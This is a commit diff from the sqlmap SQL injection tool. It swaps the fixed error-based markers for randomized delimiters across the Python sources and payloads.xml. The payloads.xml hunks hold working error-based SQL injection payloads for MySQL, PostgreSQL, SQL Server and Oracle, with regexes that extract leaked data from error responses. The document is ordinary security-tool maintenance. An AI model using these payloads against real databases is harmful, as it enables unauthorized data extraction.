Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 2708aad

Browse files
bdamelebdamele
committed
Unified start and stop delimiters accross errror-based (detection engine) and union query (--union-test) tests.
1 parent 8d84dcc commit 2708aad

4 files changed

Lines changed: 37 additions & 42 deletions

File tree

‎lib/core/agent.py‎

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -22,8 +22,6 @@
2222
from lib.core.enums import DBMS
2323
from lib.core.enums import PLACE
2424
from lib.core.exception import sqlmapNoneDataException
25-
from lib.core.settings import ERROR_START_CHAR
26-
from lib.core.settings import ERROR_END_CHAR
2725
from lib.core.settings import PAYLOAD_DELIMITER
2826

2927
class Agent:
@@ -33,9 +31,9 @@ class Agent:
3331

3432
def __init__(self):
3533
kb.misc = advancedDict()
36-
kb.misc.delimiter = randomStr(6)
37-
kb.misc.start = randomStr(6)
38-
kb.misc.stop = randomStr(6)
34+
kb.misc.delimiter = randomStr(length=6)
35+
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
36+
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
3937

4038
def payloadDirect(self, query):
4139
if query.startswith("AND "):
@@ -163,12 +161,14 @@ def cleanupPayload(self, payload):
163161
randInt = randomInt()
164162
randInt1 = randomInt()
165163
randStr = randomStr()
164+
randStr1 = randomStr()
166165

167166
payload = payload.replace("[RANDNUM]", str(randInt))
168167
payload = payload.replace("[RANDNUM1]", str(randInt1))
169168
payload = payload.replace("[RANDSTR]", randStr)
170-
payload = payload.replace("[ERROR_START_CHAR]", ERROR_START_CHAR)
171-
payload = payload.replace("[ERROR_END_CHAR]", ERROR_END_CHAR)
169+
payload = payload.replace("[RANDSTR1]", randStr1)
170+
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
171+
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
172172
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
173173

174174
return payload

‎lib/core/settings.py‎

Lines changed: 1 addition & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -46,11 +46,9 @@
4646
DUMP_START_MARKER = "__START__"
4747
DUMP_STOP_MARKER = "__STOP__"
4848

49-
# error based injection markers
49+
# error-based injection markers
5050
ERROR_SPACE = ":_:"
5151
ERROR_EMPTY_CHAR = ":x:"
52-
ERROR_START_CHAR = ":s:"
53-
ERROR_END_CHAR = ":e:"
5452

5553
PAYLOAD_DELIMITER = "\x00"
5654

‎lib/techniques/error/use.py‎

Lines changed: 5 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -27,8 +27,6 @@
2727

2828
from lib.core.settings import ERROR_SPACE
2929
from lib.core.settings import ERROR_EMPTY_CHAR
30-
from lib.core.settings import ERROR_START_CHAR
31-
from lib.core.settings import ERROR_END_CHAR
3230

3331
def errorUse(expression, returnPayload=False):
3432
"""
@@ -55,21 +53,20 @@ def errorUse(expression, returnPayload=False):
5553

5654
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
5755
expressionUnescaped = unescaper.unescape(expressionReplaced)
58-
startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR)
59-
endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR)
56+
startLimiter = unescaper.unescape("'%s'" % kb.misc.start)
57+
endLimiter = unescaper.unescape("'%s'" % kb.misc.stop)
6058
else:
6159
expressionUnescaped = kb.misc.handler.unescape(expression)
62-
startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR)
63-
endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR)
60+
startLimiter = kb.misc.handler.unescape("'%s'" % kb.misc.start)
61+
endLimiter = kb.misc.handler.unescape("'%s'" % kb.misc.stop)
6462

6563
forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))
66-
6764
debugMsg = "query: %s" % forgedQuery
6865
logger.debug(debugMsg)
6966

7067
payload = agent.payload(newValue=forgedQuery)
7168
result = Request.queryPage(payload, content=True)
72-
match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)
69+
match = re.search('%s(?P<result>.*?)%s' % (kb.misc.start, kb.misc.stop), result[0], re.DOTALL | re.IGNORECASE)
7370

7471
if match:
7572
output = match.group('result')

‎xml/payloads.xml‎

Lines changed: 24 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -620,10 +620,10 @@ Formats:
620620
<clause>1</clause>
621621
<where>1</where>
622622
<request>
623-
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
623+
<payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
624624
</request>
625625
<response>
626-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
626+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
627627
</response>
628628
<details>
629629
<dbms>MySQL</dbms>
@@ -639,10 +639,10 @@ Formats:
639639
<clause>1</clause>
640640
<where>1</where>
641641
<request>
642-
<payload>AND [RANDNUM]=CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC)</payload>
642+
<payload>AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC)</payload>
643643
</request>
644644
<response>
645-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
645+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
646646
</response>
647647
<details>
648648
<dbms>PostgreSQL</dbms>
@@ -657,10 +657,10 @@ Formats:
657657
<clause>1</clause>
658658
<where>1</where>
659659
<request>
660-
<payload>AND [RANDNUM]=CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]'))</payload>
660+
<payload>AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]'))</payload>
661661
</request>
662662
<response>
663-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
663+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
664664
</response>
665665
<details>
666666
<dbms>Microsoft SQL Server</dbms>
@@ -675,10 +675,10 @@ Formats:
675675
<clause>1</clause>
676676
<where>1</where>
677677
<request>
678-
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL)</payload>
678+
<payload>AND [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
679679
</request>
680680
<response>
681-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
681+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
682682
</response>
683683
<details>
684684
<dbms>Oracle</dbms>
@@ -700,10 +700,10 @@ Formats:
700700
<clause>2,3</clause>
701701
<where>1</where>
702702
<request>
703-
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
703+
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
704704
</request>
705705
<response>
706-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
706+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
707707
</response>
708708
<details>
709709
<dbms>MySQL</dbms>
@@ -719,10 +719,10 @@ Formats:
719719
<clause>2,3</clause>
720720
<where>1</where>
721721
<request>
722-
<payload>(CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC))</payload>
722+
<payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
723723
</request>
724724
<response>
725-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
725+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
726726
</response>
727727
<details>
728728
<dbms>PostgreSQL</dbms>
@@ -737,10 +737,10 @@ Formats:
737737
<clause>3</clause>
738738
<where>1</where>
739739
<request>
740-
<payload>(CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]')))</payload>
740+
<payload>(CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
741741
</request>
742742
<response>
743-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
743+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
744744
</response>
745745
<details>
746746
<dbms>Microsoft SQL Server</dbms>
@@ -755,10 +755,10 @@ Formats:
755755
<clause>3</clause>
756756
<where>1</where>
757757
<request>
758-
<payload>(SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL)</payload>
758+
<payload>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
759759
</request>
760760
<response>
761-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
761+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
762762
</response>
763763
<details>
764764
<dbms>Oracle</dbms>
@@ -773,10 +773,10 @@ Formats:
773773
<clause>2,3</clause>
774774
<where>3</where>
775775
<request>
776-
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[ERROR_START_CHAR]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[ERROR_END_CHAR]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
776+
<payload>(SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
777777
</request>
778778
<response>
779-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
779+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
780780
</response>
781781
<details>
782782
<dbms>MySQL</dbms>
@@ -792,10 +792,10 @@ Formats:
792792
<clause>2,3</clause>
793793
<where>3</where>
794794
<request>
795-
<payload>(CAST('[ERROR_START_CHAR]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[ERROR_END_CHAR]' AS NUMERIC))</payload>
795+
<payload>(CAST('[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END))::text||'[DELIMITER_STOP]' AS NUMERIC))</payload>
796796
</request>
797797
<response>
798-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
798+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
799799
</response>
800800
<details>
801801
<dbms>PostgreSQL</dbms>
@@ -810,10 +810,10 @@ Formats:
810810
<clause>3</clause>
811811
<where>3</where>
812812
<request>
813-
<payload>(CONVERT(INT,('[ERROR_START_CHAR]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[ERROR_END_CHAR]')))</payload>
813+
<payload>(CONVERT(INT,('[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]')))</payload>
814814
</request>
815815
<response>
816-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
816+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
817817
</response>
818818
<details>
819819
<dbms>Microsoft SQL Server</dbms>
@@ -828,10 +828,10 @@ Formats:
828828
<clause>3</clause>
829829
<where>3</where>
830830
<request>
831-
<payload>(SELECT UPPER(XMLType(CHR(60)||'[ERROR_START_CHAR]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[ERROR_END_CHAR]'||CHR(62))) FROM DUAL)</payload>
831+
<payload>(SELECT UPPER(XMLType(CHR(60)||'[DELIMITER_START]'||(REPLACE((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL),CHR(32),CHR(58)||CHR(95)||CHR(58)))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL)</payload>
832832
</request>
833833
<response>
834-
<grep>[ERROR_START_CHAR](?P&lt;result&gt;.*?)[ERROR_END_CHAR]</grep>
834+
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
835835
</response>
836836
<details>
837837
<dbms>Oracle</dbms>

0 commit comments

Comments
 (0)